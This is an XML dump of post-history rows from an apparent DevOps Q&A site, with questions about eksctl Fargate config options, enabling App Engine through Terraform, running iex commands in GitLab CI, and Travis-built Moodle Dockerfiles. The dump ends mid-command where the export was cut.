  <row Id="41219" PostHistoryTypeId="5" PostId="13391" RevisionGUID="a25ae5e4-5828-4b1a-96b2-e668c6886642" CreationDate="2021-02-19T18:46:24.700" UserId="24678" Comment="added 104 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--alb-ingress-access` is in a config schema shown in [Config file schema][2]? At least it's not obvious to me. I even created a sample cluster and printed out the info and didn't see it there.&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster \&#xD;&#xA;        --name ingress-sample \&#xD;&#xA;        --version 1.19 \&#xD;&#xA;        --region us-east-1 \&#xD;&#xA;        --fargate \&#xD;&#xA;        --alb-ingress-access&#xD;&#xA;    $ eksctl get cluster --name ingress-sample -o yaml&#xD;&#xA;    - Arn: arn:aws:eks:us-east-1:0123456789:cluster/ingress-sample&#xD;&#xA;      CertificateAuthority:&#xD;&#xA;        Data: &lt;redacted&gt;&#xD;&#xA;      ClientRequestToken: null&#xD;&#xA;      CreatedAt: &quot;2021-02-19T00:44:27.976Z&quot;&#xD;&#xA;      EncryptionConfig: null&#xD;&#xA;      Endpoint: https://&lt;redacted&gt;.gr7.us-east-1.eks.amazonaws.com&#xD;&#xA;      Identity:&#xD;&#xA;        Oidc:&#xD;&#xA;          Issuer: https://oidc.eks.us-east-1.amazonaws.com/id/redacted&#xD;&#xA;      KubernetesNetworkConfig:&#xD;&#xA;        ServiceIpv4Cidr: 10.100.0.0/16&#xD;&#xA;      Logging:&#xD;&#xA;        ClusterLogging:&#xD;&#xA;        - Enabled: false&#xD;&#xA;          Types:&#xD;&#xA;          - api&#xD;&#xA;          - audit&#xD;&#xA;          - authenticator&#xD;&#xA;          - controllerManager&#xD;&#xA;          - scheduler&#xD;&#xA;      Name: ingress-sample&#xD;&#xA;      PlatformVersion: eks.1&#xD;&#xA;      ResourcesVpcConfig:&#xD;&#xA;        ClusterSecurityGroupId: sg-xxxxxx&#xD;&#xA;        EndpointPrivateAccess: false&#xD;&#xA;        EndpointPublicAccess: true&#xD;&#xA;        PublicAccessCidrs:&#xD;&#xA;        - 0.0.0.0/0&#xD;&#xA;        SecurityGroupIds:&#xD;&#xA;        - sg-xxxxxx&#xD;&#xA;        SubnetIds:&#xD;&#xA;        - subnet-111111&#xD;&#xA;        - subnet-222222&#xD;&#xA;        - subnet-333333&#xD;&#xA;        - subnet-444444&#xD;&#xA;        VpcId: vpc-xxxxxx&#xD;&#xA;      RoleArn: arn:aws:iam::0123456789:role/eksctl-ingress-sample-cluster-ServiceRole-D0X7QCIRBSDN&#xD;&#xA;      Status: ACTIVE&#xD;&#xA;      Tags: {}&#xD;&#xA;      Version: &quot;1.19&quot;&#xD;&#xA;&#xD;&#xA;**UPDATE**: Hmmm, maybe&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --fargate --alb-ingress-access -f config.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41220" PostHistoryTypeId="5" PostId="13391" RevisionGUID="b7445d37-7940-40a6-bd6f-ab54bde373fb" CreationDate="2021-02-19T20:02:31.850" UserId="24678" Comment="deleted 10 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--alb-ingress-access` is in a config schema shown in [Config file schema][2]? At least it's not obvious to me. I even created a sample cluster and printed out the info and didn't see it there.&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster \&#xD;&#xA;        --name ingress-sample \&#xD;&#xA;        --version 1.19 \&#xD;&#xA;        --region us-east-1 \&#xD;&#xA;        --fargate \&#xD;&#xA;        --alb-ingress-access&#xD;&#xA;    $ eksctl get cluster --name ingress-sample -o yaml&#xD;&#xA;    - Arn: arn:aws:eks:us-east-1:0123456789:cluster/ingress-sample&#xD;&#xA;      CertificateAuthority:&#xD;&#xA;        Data: &lt;redacted&gt;&#xD;&#xA;      ClientRequestToken: null&#xD;&#xA;      CreatedAt: &quot;2021-02-19T00:44:27.976Z&quot;&#xD;&#xA;      EncryptionConfig: null&#xD;&#xA;      Endpoint: https://&lt;redacted&gt;.gr7.us-east-1.eks.amazonaws.com&#xD;&#xA;      Identity:&#xD;&#xA;        Oidc:&#xD;&#xA;          Issuer: https://oidc.eks.us-east-1.amazonaws.com/id/redacted&#xD;&#xA;      KubernetesNetworkConfig:&#xD;&#xA;        ServiceIpv4Cidr: 10.100.0.0/16&#xD;&#xA;      Logging:&#xD;&#xA;        ClusterLogging:&#xD;&#xA;        - Enabled: false&#xD;&#xA;          Types:&#xD;&#xA;          - api&#xD;&#xA;          - audit&#xD;&#xA;          - authenticator&#xD;&#xA;          - controllerManager&#xD;&#xA;          - scheduler&#xD;&#xA;      Name: ingress-sample&#xD;&#xA;      PlatformVersion: eks.1&#xD;&#xA;      ResourcesVpcConfig:&#xD;&#xA;        ClusterSecurityGroupId: sg-xxxxxx&#xD;&#xA;        EndpointPrivateAccess: false&#xD;&#xA;        EndpointPublicAccess: true&#xD;&#xA;        PublicAccessCidrs:&#xD;&#xA;        - 0.0.0.0/0&#xD;&#xA;        SecurityGroupIds:&#xD;&#xA;        - sg-xxxxxx&#xD;&#xA;        SubnetIds:&#xD;&#xA;        - subnet-111111&#xD;&#xA;        - subnet-222222&#xD;&#xA;        - subnet-333333&#xD;&#xA;        - subnet-444444&#xD;&#xA;        VpcId: vpc-xxxxxx&#xD;&#xA;      RoleArn: arn:aws:iam::0123456789:role/eksctl-ingress-sample-cluster-ServiceRole-D0X7QCIRBSDN&#xD;&#xA;      Status: ACTIVE&#xD;&#xA;      Tags: {}&#xD;&#xA;      Version: &quot;1.19&quot;&#xD;&#xA;&#xD;&#xA;**UPDATE**: Hmmm, maybe&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --alb-ingress-access -f config.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41221" PostHistoryTypeId="2" PostId="13394" RevisionGUID="fa3213bd-4f8c-49ef-8e02-6f2a5ba50e1f" CreationDate="2021-02-19T20:06:12.847" UserId="24678" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--fargate` is in a config schema shown in [Config file schema][2]? I tried&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --fargate -f config.yaml&#xD;&#xA;    Error: cannot use --fargate when --config-file/-f is set&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress" ContentLicense="CC BY-SA 4.0" />
  <row Id="41222" PostHistoryTypeId="1" PostId="13394" RevisionGUID="fa3213bd-4f8c-49ef-8e02-6f2a5ba50e1f" CreationDate="2021-02-19T20:06:12.847" UserId="24678" Text="What's the equivalent of the eksctl option &quot;--fargate&quot; option in a config file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41223" PostHistoryTypeId="3" PostId="13394" RevisionGUID="fa3213bd-4f8c-49ef-8e02-6f2a5ba50e1f" CreationDate="2021-02-19T20:06:12.847" UserId="24678" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41224" PostHistoryTypeId="2" PostId="13395" RevisionGUID="e05f1b51-1108-4ae7-93d9-7c1807bb058c" CreationDate="2021-02-19T20:07:15.023" UserId="24678" Text="Yep this worked, or at least I didn't get an error&#xD;&#xA;&#xD;&#xA;        $ eksctl create cluster --alb-ingress-access -f config.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="41225" PostHistoryTypeId="2" PostId="13396" RevisionGUID="cbbb9271-7b84-432b-8b74-f3fc7351979d" CreationDate="2021-02-19T23:24:20.843" UserId="3333" Text="I'm attempting to enable the AppEngine service via Terraform but I'm getting an error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Error creating App Engine application: googleapi: Error 403: App Engine Admin API has not been used in project &lt;redacted&gt; before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/appengine.googleapis.com/overview?project=&lt;redacted&gt; then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry., accessNotConfigured&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As far as I know all that should be required to enable the service/API is:&#xD;&#xA;```&#xD;&#xA;// Enable AppEngine API - required to automagically create datastore&#xD;&#xA;resource &quot;google_project_service&quot; &quot;appengine_api&quot; {&#xD;&#xA;  project = var.project&#xD;&#xA;  service = &quot;appengine.googleapis.com&quot;&#xD;&#xA;&#xD;&#xA;  disable_dependent_services = true&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41226" PostHistoryTypeId="1" PostId="13396" RevisionGUID="cbbb9271-7b84-432b-8b74-f3fc7351979d" CreationDate="2021-02-19T23:24:20.843" UserId="3333" Text="How do I enable Google App Engine API with Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41227" PostHistoryTypeId="3" PostId="13396" RevisionGUID="cbbb9271-7b84-432b-8b74-f3fc7351979d" CreationDate="2021-02-19T23:24:20.843" UserId="3333" Text="&lt;terraform&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41231" PostHistoryTypeId="5" PostId="13392" RevisionGUID="fca56c74-f389-47a5-8c58-a56f9a36d66a" CreationDate="2021-02-20T02:55:00.003" UserId="17246" Comment="Removed unwated parts and added replacements" Text="To automate elixir based application ,created a `systemd` service&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Service]&#xD;&#xA;Type=simple&#xD;&#xA;User=gitlab-runner&#xD;&#xA;Group=gitlab-runner&#xD;&#xA;Environment=LANG=en_US.UTF-8&#xD;&#xA; &#xD;&#xA;WorkingDirectory=/path/to/elixirModule&#xD;&#xA;&#xD;&#xA;ExecStart=/path/to/elixirModule/bin/elixir_module start&#xD;&#xA;ExecStop=/path/to/elixirModule/bin/elixir_module stop&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In `.gitlab-ci.yml`&#xD;&#xA;```&#xD;&#xA;build-project:&#xD;&#xA;  stage: build_elixir_module&#xD;&#xA;  tags: &#xD;&#xA;    - elixer-shell&#xD;&#xA;  script:&#xD;&#xA;    - mix ecto.drop&#xD;&#xA;    - MIX_ENV=prod mix release&#xD;&#xA;    - ls -lh _build/prod&#xD;&#xA;    - cp _build/prod/elixir_module-0.1.0.tar.gz /path/to/elixirModule/&#xD;&#xA;    - tar -xvf /path/to/elixirModule/elixir_module-0.1.0.tar.gz&#xD;&#xA;    - sudo systemctl stop elixirModule&#xD;&#xA;    - cd /path/to/elixirModule&#xD;&#xA;    - bin/elixir_module start_iex &#xD;&#xA;    - EctoMnesia.Storage.storage_up(ElixirModuleRepo.config) &#xD;&#xA;    - ElixirModuleRepo.ReleaseTasks.migrate&#xD;&#xA;    - sudo systemctl stop elixirModule&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;These two commands should be executed within `iex` terminal.&#xD;&#xA;```&#xD;&#xA;EctoMnesia.Storage.storage_up(ElixirModuleRepo.config) &#xD;&#xA;ElixirModuleRepo.ReleaseTasks.migrate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With current configuration, I get following error&#xD;&#xA;&#xD;&#xA;&gt; iex(elixir_module@node1)1&gt; $ EctoMnesia.Storage.storage_up(ElixirModuleRepo.config)&#xD;&#xA;1468 bash: eval: line 125: syntax error near unexpected token `ElixirModuleRepo.config'&#xD;&#xA;&#xD;&#xA;How to run these two commands inside `iex`. Also if my approach is buggy or any sort of wrong config, please let me know." ContentLicense="CC BY-SA 4.0" />
  <row Id="41232" PostHistoryTypeId="5" PostId="13394" RevisionGUID="6fd4ec6e-dcda-499c-8d38-1b35cd47fd11" CreationDate="2021-02-20T04:49:47.107" UserId="24678" Comment="added 287 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--fargate` is in a config schema shown in [Config file schema][2]? I tried&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --fargate -f config.yaml&#xD;&#xA;    Error: cannot use --fargate when --config-file/-f is set&#xD;&#xA;&#xD;&#xA;I used this sample config file from [Creating a cluster with Fargate support using a config file][3], but nowhere does is say where to set an equivalent `--fargate` option. Sure my cluster came up, but `coredns` Deployment was set up for `ec2` instead of `fargate`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress&#xD;&#xA;  [3]: https://eksctl.io/usage/fargate-support/#creating-a-cluster-with-fargate-support-using-a-config-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="41233" PostHistoryTypeId="5" PostId="13394" RevisionGUID="a1a994f9-2db9-4516-900b-56aa7e1c2ab9" CreationDate="2021-02-20T04:56:34.947" UserId="24678" Comment="added 287 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--fargate` is in a config schema shown in [Config file schema][2]? I tried&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --fargate -f config.yaml&#xD;&#xA;    Error: cannot use --fargate when --config-file/-f is set&#xD;&#xA;&#xD;&#xA;I used this sample config file from [Creating a cluster with Fargate support using a config file][3], but nowhere does is say where to set an equivalent `--fargate` option. Sure my cluster came up, but `coredns` Deployment was set up for `ec2` instead of `fargate` so the pods would never deploy. IOW&#xD;&#xA;&#xD;&#xA;    $ kubectl get deployment coredns -o yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      annotations:&#xD;&#xA;        ...&#xD;&#xA;        eks.amazonaws.com/compute-type: ec2&#xD;&#xA;&#xD;&#xA;I had to &#xD;&#xA;&#xD;&#xA;    $ kubectl edit deployment coredns&#xD;&#xA;&#xD;&#xA;and set&#xD;&#xA;&#xD;&#xA;        eks.amazonaws.com/compute-type: fargate&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress&#xD;&#xA;  [3]: https://eksctl.io/usage/fargate-support/#creating-a-cluster-with-fargate-support-using-a-config-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="41234" PostHistoryTypeId="5" PostId="13394" RevisionGUID="93512e18-d467-40e2-8407-346a93aa5b9f" CreationDate="2021-02-20T05:02:43.373" UserId="24678" Comment="added 137 characters in body" Text="I read [How to run Serverless Kubernetes: AWS EKS on Fargate][1], and am wondering what the equivalent option for `--fargate` is in a config schema shown in [Config file schema][2]? I tried&#xD;&#xA;&#xD;&#xA;    $ eksctl create cluster --fargate -f config.yaml&#xD;&#xA;    Error: cannot use --fargate when --config-file/-f is set&#xD;&#xA;&#xD;&#xA;I used this sample config file from [Creating a cluster with Fargate support using a config file][3], but nowhere does is say where to set an equivalent `--fargate` option. Sure my cluster came up, but `coredns` Deployment was set up for `ec2` instead of `fargate` so the pods would never deploy. IOW&#xD;&#xA;&#xD;&#xA;    $ kubectl get deployment coredns -o yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      annotations:&#xD;&#xA;        ...&#xD;&#xA;        eks.amazonaws.com/compute-type: ec2&#xD;&#xA;    spec:&#xD;&#xA;      ...&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          annotations:&#xD;&#xA;            eks.amazonaws.com/compute-type: ec2&#xD;&#xA;&#xD;&#xA;I had to &#xD;&#xA;&#xD;&#xA;    $ kubectl edit deployment coredns&#xD;&#xA;&#xD;&#xA;and set the option this way.&#xD;&#xA;&#xD;&#xA;        eks.amazonaws.com/compute-type: fargate&#xD;&#xA;&#xD;&#xA;It took me 2 days to debug this (I'm new to Kubernetes) so it would've have been to nice to have been able to do this in the config file.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.learnaws.org/2019/12/16/running-eks-on-aws-fargate/&#xD;&#xA;  [2]: https://eksctl.io/usage/schema/#managedNodeGroups-iam-withAddonPolicies-albIngress&#xD;&#xA;  [3]: https://eksctl.io/usage/fargate-support/#creating-a-cluster-with-fargate-support-using-a-config-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="41236" PostHistoryTypeId="50" PostId="12470" RevisionGUID="71dfd698-ed4b-4ad5-a549-b1a93a843bd4" CreationDate="2021-02-20T15:03:05.357" UserId="-1" />
  <row Id="41237" PostHistoryTypeId="4" PostId="13394" RevisionGUID="cc6f4fb3-1ad2-4617-a106-010e3ce0d29e" CreationDate="2021-02-20T15:28:46.637" UserId="24678" Comment="edited title" Text="What's the equivalent of the eksctl CLI &quot;--fargate&quot; option in a config file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41238" PostHistoryTypeId="50" PostId="12471" RevisionGUID="c9bd4df8-8c79-4f3e-a3e7-931b3238daec" CreationDate="2021-02-20T17:07:55.797" UserId="-1" />
  <row Id="41239" PostHistoryTypeId="2" PostId="13398" RevisionGUID="2282cd68-a7b9-40bd-844b-40faed32d0a2" CreationDate="2021-02-20T19:57:14.743" UserId="4396" Text="In my project I use the following `.travis.yml`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;language: shell&#xD;&#xA;os: linux&#xD;&#xA;dist: xenial&#xD;&#xA;git:&#xD;&#xA;  depth: false&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  - docker&#xD;&#xA;&#xD;&#xA;env:&#xD;&#xA;  global:&#xD;&#xA;    - LATEST=39&#xD;&#xA;    - LATEST_LTS=39&#xD;&#xA;  jobs:&#xD;&#xA;    - &quot;DB_TYPE=all VERSION=35 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=35 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql  VERSION=35 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=35 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql VERSION=36 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=all VERSION=36 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=36 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql  VERSION=36 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=36 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql VERSION=36 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=all VERSION=37 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=37 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql  VERSION=37 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=37 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql VERSION=37 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=all VERSION=38 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=38 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql  VERSION=38 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=38 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql VERSION=38 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=all VERSION=39 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=39 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql  VERSION=39 DOCKERFILE=dockerfiles/apache/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=mysqli VERSION=39 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;    - &quot;DB_TYPE=pgsql VERSION=39 DOCKERFILE=dockerfiles/fpm_alpine/Dockerfile&quot;&#xD;&#xA;&#xD;&#xA;script: bash ./travis/build.sh&#xD;&#xA;&#xD;&#xA;deploy:&#xD;&#xA;  - provider: script&#xD;&#xA;    on:&#xD;&#xA;       branch: master&#xD;&#xA;    script: bash ./travis/deploy.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the following dockerfiles:&#xD;&#xA;&#xD;&#xA;`dockerfiles/apache/Dockerfile`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE $DB_TYPE&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	echo ${DB_TYPE} &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = &quot;mysqli&quot; ] || [ $DB_TYPE = &quot;all&quot; ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp;\&#xD;&#xA;		 docker-php-ext-install pdo mysqli pdo_mysql;\&#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = &quot;pgsql&quot; ] || [ $DB_TYPE = &quot;all&quot; ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;RUN chown root:root /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;CMD [ &quot;/usr/local/bin/entrypoint.sh&quot;, &quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`dockerfiles/fpm_alpine/Dockerfile`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; Dockerfile for moodle instance.&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-fpm-alpine&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=35&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;VOLUME [&quot;/var/www/html&quot;]&#xD;&#xA;EXPOSE 9000&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE ${DB_TYPE}&#xD;&#xA;&#xD;&#xA;ENV \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;# Installing php and external tools&#xD;&#xA;RUN \&#xD;&#xA;		if [[ $DB_TYPE = &quot;mysqli&quot; ]] || [[ $DB_TYPE = &quot;all&quot; ]]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp;\&#xD;&#xA;		 docker-php-ext-install pdo mysqli pdo_mysql;\&#xD;&#xA;		fi &amp;&amp;\&#xD;&#xA;		if [[ $DB_TYPE = &quot;pgsql&quot; ]] || [[ $DB_TYPE = &quot;all&quot; ]]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;			apk add --update postgresql-dev &amp;&amp;\&#xD;&#xA;		    docker-php-ext-install pdo pgsql pdo_pgsql;\&#xD;&#xA;		fi &amp;&amp;\&#xD;&#xA;		apk add --update curl bash rsync unzip netcat-openbsd libxml2-dev icu-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libzip-dev &amp;&amp;\&#xD;&#xA; 		docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;		docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;		docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;		docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 		docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;		docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;		docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;		echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;		curl 